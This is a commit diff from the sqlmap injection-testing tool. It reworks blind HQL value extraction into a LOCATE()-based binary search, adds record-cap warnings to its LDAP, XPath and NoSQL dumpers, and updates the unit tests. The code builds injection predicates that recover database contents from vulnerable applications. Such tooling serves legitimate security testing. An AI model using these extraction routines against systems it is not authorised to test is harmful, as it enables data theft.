Minor patches

This commit is contained in:
Miroslav Štampar 2026-07-10 11:36:40 +02:00
parent d0f16b284d
commit 2fec735b13
10 changed files with 81 additions and 49 deletions

View file

@ -278,15 +278,16 @@ def _hql_atom(atom):
return False
return len(HQL_RECORD[attr]) >= n
match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char
match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index)
if match:
attr, pos, ch = match.group(1), int(match.group(2)), match.group(3)
attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4))
if attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
if _hql_no_row(atom):
return False
value = HQL_RECORD[attr]
return pos <= len(value) and value[pos - 1] == ch
index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent
return index >= n
match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak)
if match:

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.66"
VERSION = "1.10.7.67"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -1040,7 +1040,7 @@ LDAP_ERROR_SIGNATURES = (
# that an error response originates from an LDAP back-end rather than a generic HTTP 500
LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)
# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison
# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan
LDAP_CHAR_MIN = 0x20
LDAP_CHAR_MAX = 0x7e
@ -1268,9 +1268,6 @@ XXE_LOCAL_DTDS = (
("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"),
)
# Upper bound for SSTI value extraction (reserved for future use)
SSTI_MAX_LENGTH = 256
# Length of prefix and suffix used in non-SQLI heuristic checks
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6

View file

@ -835,6 +835,9 @@ def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH):
high = mid
length = low
if length >= maxLen:
logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen)
value = ""
for pos in xrange(1, length + 1):
ordExpr = dialect.ordinal(expr, pos)
@ -1064,6 +1067,7 @@ def _testSlot(slot, endpoint):
logger.info("no oracle confirmed for this slot")
return None, None, None
logger.info("%s.%s(%s:) is vulnerable to GraphQL injection (%s-based)" % (slot.parentType, slot.fieldName, slot.targetArg, kind))
title = "GraphQL %s" % oracleType
payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE
report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % (

View file

@ -310,17 +310,25 @@ for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1):
if _ not in _META_ORDS and _ not in _CHARSET:
_CHARSET.append(_)
# Charset as an HQL string literal for LOCATE()-based binary search: each character's
# 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a
# linear equality scan), and LOCATE is an index lookup so no lexicographic ordering /
# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded
# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as
# it was under the previous linear scan). ', ", \ are already excluded above.
_URL_HOSTILE = set(ord(_) for _ in "%&+#?")
_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE)
def _scalar(entity, attribute, expr, pin, after=None):
def _scalar(entity, attrExpr, pin, after=None):
"""Scalar subquery over a single `entity` row selected by the smallest `pin`
(optionally the smallest strictly greater than `after`, to walk rows in order).
Alias-independent, so it works regardless of the outer query's alias. `expr`
wraps the attribute, cast to string so numeric/temporal values extract too."""
Alias-independent, so it works regardless of the outer query's alias. `attrExpr`
is the already-built selected expression (references CAST(_h.<attr> AS string))."""
bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after)
target = "CAST(_h.%s AS string)" % attribute
inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % (
expr % target, entity, pin, pin, entity, bound)
attrExpr, entity, pin, pin, entity, bound)
return "(%s)" % inner
@ -328,7 +336,7 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH
"""Blindly recover one attribute value of the row selected by `pin`/`after`."""
# length first, by binary search
lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after)
lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after)
if not truth("%s>=1" % lengthExpr):
return ""
@ -343,14 +351,20 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH
chars = []
for pos in xrange(1, length + 1):
charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after)
found = None
for cp in _CHARSET:
literal = chr(cp)
if truth("%s='%s'" % (charExpr, literal)):
found = literal
break
chars.append(found if found is not None else "?")
# index of this character inside _CS_LITERAL, recovered by binary search
idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after)
if not truth("%s>=1" % idxExpr):
chars.append("?")
continue
lo, hi = 1, len(_CS_LITERAL)
while lo < hi:
mid = (lo + hi + 1) // 2
if truth("%s>=%d" % (idxExpr, mid)):
lo = mid
else:
hi = mid - 1
chars.append(_CS_LITERAL[lo - 1])
return "".join(chars)
@ -407,6 +421,8 @@ def _dumpEntity(oracle, place, parameter, entity):
if not re.match(r"\A\d+\Z", pinValue):
break
after = pinValue
else:
logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS))
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows)))

View file

@ -553,6 +553,8 @@ def _enumerateEntryKeys(oracle, builder):
logger.info("identified directory entry: %s='%s'" % (keyAttr, value))
if values:
if len(values) >= LDAP_MAX_RECORDS:
logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS)
return keyAttr, values
return None, []
@ -602,10 +604,22 @@ def _dumpMultiValues(oracle, builder, place, parameter):
if not _exists(oracle, builder, attr):
continue
value = _inferAttribute(oracle, builder, attr)
if value:
logger.info("fetched 1 value from attribute '%s'" % attr)
_dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)])
# Multi-valued attributes (member, memberOf, ...) carry several values;
# walk them by excluding each recovered value from the next probe, exactly
# like _enumerateEntryKeys does for entry keys.
values = []
while len(values) < LDAP_MAX_RECORDS:
exclusions = [(attr, _) for _ in values]
value = _inferAttribute(oracle, builder, attr, exclusions=exclusions)
if not value or value in values:
break
values.append(value)
if values:
if len(values) >= LDAP_MAX_RECORDS:
logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS))
logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr))
_dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values])
dumped = True
return dumped
@ -720,7 +734,7 @@ def ldapScan():
if not slot.backend or slot.backend == "Generic LDAP":
backend = _fingerprintByAttribute(oracle, builder)
if backend:
logger.info("identified back-end DBMS: '%s'" % backend)
logger.info("identified back-end: '%s'" % backend)
slot = slot._replace(backend=backend)
# Determine extraction method: in-band if the template page already

View file

@ -424,6 +424,8 @@ def _cypherDump(place, parameter):
records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node)
columns.extend(_ for _ in cols if _ not in columns)
lastId = nodeId
else:
logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS)
return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None

View file

@ -24,8 +24,6 @@ from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
SENTINEL = randomStr(length=10, lowercase=True)
SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST)
# Each Engine entry defines detection payloads and expected behaviour for one
@ -572,9 +570,6 @@ def _fingerprint(place, parameter):
def sstiScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints "
debugMsg += "common template engines when possible. SQL enumeration "
debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"

View file

@ -488,10 +488,14 @@ def _walkTree(oracle, builder, path="/*", depth=0):
childCount = _inferCount(oracle, builder, path,
lambda b, p, c: b.childCount(p, c),
maxCount=32)
if childCount >= 32:
logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name)
attrCount = _inferCount(oracle, builder, path,
lambda b, p, c: b.attributeCount(p, c),
maxCount=16)
if attrCount >= 16:
logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name)
attributes = []
for i in xrange(1, attrCount + 1):

View file

@ -58,7 +58,7 @@ class TestBoundary(unittest.TestCase):
self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1")
def test_scalar_casts_attribute(self):
expr = hql._scalar("Member", "id", "LENGTH(%s)", "id")
expr = hql._scalar("Member", "LENGTH(CAST(_h.id AS string))", "id")
self.assertIn("CAST(_h.id AS string)", expr)
self.assertIn("FROM Member _h", expr)
self.assertIn("MIN(_h2.id)", expr)
@ -111,14 +111,15 @@ def _recordOracle(record, entity="Member"):
n = re.search(r">=(\d+)", predicate)
if m and n:
return len(str(record.get(m.group(1), ""))) >= int(n.group(1))
# char: SUBSTRING(CAST(_h.<attr> AS string),<pos>,1) ... ='<c>'
if "SUBSTRING" in predicate:
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
c = re.search(r"='(.)'\s*$", predicate)
if m and c:
attr, pos, ch = m.group(1), int(m.group(2)), c.group(1)
# char: LOCATE(SUBSTRING(CAST(_h.<attr> AS string),<pos>,1),'<lit>') ... >=<N>
if "LOCATE" in predicate:
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate)
n = re.search(r">=(\d+)\s*$", predicate)
if m and n:
attr, pos, literal = m.group(1), int(m.group(2)), m.group(3)
value = str(record.get(attr, ""))
return pos <= len(value) and value[pos - 1] == ch
index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0
return index >= int(n.group(1))
return False
return truth
@ -174,13 +175,14 @@ def _multiOracle(records):
n = re.search(r">=(\d+)", predicate)
if m and n:
return len(str(rec.get(m.group(1), ""))) >= int(n.group(1))
if "SUBSTRING" in predicate:
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
c = re.search(r"='(.)'\s*$", predicate)
if m and c:
if "LOCATE" in predicate:
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate)
n = re.search(r">=(\d+)\s*$", predicate)
if m and n:
value = str(rec.get(m.group(1), ""))
pos = int(m.group(2))
return pos <= len(value) and value[pos - 1] == c.group(1)
pos, literal = int(m.group(2)), m.group(3)
index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0
return index >= int(n.group(1))
return False
return truth

View file

@ -18,9 +18,6 @@ bootstrap()
import lib.techniques.ssti.inject as ssti
SENTINEL = ssti.SENTINEL
class TestHelpers(unittest.TestCase):
def test_ratio(self):
self.assertGreater(ssti._ratio("abc", "abc"), 0.9)